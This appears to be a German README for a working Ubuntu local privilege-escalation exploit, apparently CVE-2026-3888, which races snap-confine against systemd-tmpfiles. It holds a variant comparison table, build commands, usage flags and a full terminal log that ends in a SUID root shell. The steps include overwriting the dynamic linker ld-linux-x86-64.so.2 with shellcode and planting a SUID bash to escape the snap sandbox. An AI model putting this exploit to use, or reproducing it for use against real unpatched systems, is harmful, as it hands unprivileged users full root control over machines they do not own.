
Lokaler Privilege-Escalation-Exploit für CVE-2026-3888, der auf snap-confine und systemd-tmpfiles unter Ubuntu abzielt und SUID- sowie Capabilities-Varianten bereitstellt, um Root-Zugriff zu erlangen.
Lokale Rechteausweitung von einem unprivilegierten Benutzer zu vollständigem Root-Zugriff auf Ubuntu Desktop 24.04+ durch Ausnutzung einer TOCTOU-Race-Condition zwischen snap-confine und systemd-tmpfiles. Es werden zwei Varianten bereitgestellt: SUID und Capabilities.
CVSS: 7.8 (Hoch) | Advisory: Qualys | Patch: snapd 2.74.2, 17. März 2026
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) | |
|---|---|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin, usw.) |
| Ziel-Snap | firefox | snap-store |
| Mimikry-Ziel | /usr/lib/x86_64-linux-gnu (~285 Einträge) | /var/lib (~17 Einträge) |
| Exploit-Vektor | Überschreiben von ld-linux-x86-64.so.2 mit Shellcode | Kontrolle über user-fstab + ld.so.preload |
| Payload-Format | Statisches ELF mit rohen Syscalls | Shared Library mit __attribute__((constructor)) |
| Root-Auslöser | SUID snap-confine lädt vergifteten dynamischen Linker | SUID su in /tmp/.snap lädt .so vor |
| cgroup-Anforderung | Beliebiger snap.*-Name | Exakte Übereinstimmung: snap.snap-store.hook.configure |
.snap-Bereinigung | 30 Tage | 10 Tage |
| Sandbox-Escape | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
systemd-tmpfiles löscht das veraltete .snap-Mimikry-Verzeichnis unter /tmp (30-Tage-Altersgrenze)snap-confine über AF_UNIX-Socket-Backpressure im Einzelschritt aus, um das Rennen während der Mimikry-Bind-Mount-Sequenz zuverlässig zu gewinnenld-linux-x86-64.so.2 wird durch Shellcode ersetzt, der setreuid(0,0) + execve aufruftsnap-confine löst den Shellcode mit Root-Rechten aus/var/snap/firefox/common/ abgelegt, um die Sandbox zu verlassen| Datei | Beschreibung |
|---|---|
exploit_suid.c | Einheitlicher Single-Binary-Exploit — alle 7 Phasen in einem fork-basierten Orchestrator |
librootshell_suid.c | Payload — minimales ELF, das ld-linux-x86-64.so.2 über rohe x86_64-Syscalls ersetzt |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Beide müssen auf x86_64-Linux kompiliert (oder cross-kompiliert) werden. exploit ist statisch gelinkt, sodass es ohne Bibliotheksabhängigkeiten innerhalb der Snap-Sandbox läuft. librootshell.so verwendet -nostdlib, da es nur rohe Syscalls enthält — kein libc.
./exploit <librootshell.so> [-d] [-s]
| Flag | Beschreibung |
|---|---|
-d | Snap-confine-Debug-Ausgabe anzeigen (verbose Modus) |
-s | .snap-Bereinigungswartezeit überspringen (erfordert Root-Passwort) |
# Normaler Lauf
./exploit ./librootshell.so
# Debug-Modus
./exploit ./librootshell.so -d
# Wiederholung nach Fehlschlag
./exploit ./librootshell.so -s
Der Exploit betritt die Sandbox, wartet darauf, dass systemd-tmpfiles .snap löscht (bis zu 10 Tage auf Standard-Ubuntu 25.10 und bis zu 30 Tage auf Standard-Ubuntu 24.04), und führt dann das Rennen automatisch aus. Bei Erfolg wird eine Root-Shell geöffnet.
snap-confine muss SUID-root sein (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer aktivbusybox auf dem Zielsystem verfügbar (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 Bytes)
[Phase 1] Firefox-Sandbox betreten...
[+] Innere Shell-PID: 3122
[Phase 2] Auf .snap-Löschung warten...
[*] Abfragen (bis zu 30 Tage auf Standard-Ubuntu).
[*] Hinweis: -s zum Überspringen verwenden.
[+] .snap gelöscht.
[Phase 3] Gecachten Mount-Namespace zerstören...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace zerstört.
[Phase 4] Rennen einrichten und ausführen...
[*] Arbeitsverzeichnis: /proc/3122/cwd
[*] .snap und .exchange erstellen...
[*] 285 Einträge in das Exchange-Verzeichnis kopiert
[*] Rennen starten...
[*] snap-confine überwachen (Kind-PID 3543)...
[!] AUSLÖSER — Verzeichnisse tauschen...
[+] TAUSCH ABGESCHLOSSEN — Rennen gewonnen!
[*] ld-linux im Namespace: user:user 755
[+] Vergifteter Namespace-PID: 3543
[Phase 5] Payload in vergifteten Namespace injizieren...
[+] ld-linux gehört uid 1000 (Angreifer). Rennen bestätigt.
[*] busybox platzieren...
[*] Escape-Skript schreiben → /tmp/sh
[*] ld-linux-x86-64.so.2 überschreiben...
[+] Payload injiziert.
[Phase 6] Root über SUID snap-confine auslösen...
[*] snap-confine → snap-confine (SUID-Auslöser)
[*] Exit-Status: 0
[Phase 7] Verifizieren...
[+] SUID-Root-Bash: /var/snap/firefox/common/bash (Modus 4755)
[*] Hintergrundprozesse bereinigen...
================================================================
ROOT-SHELL: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)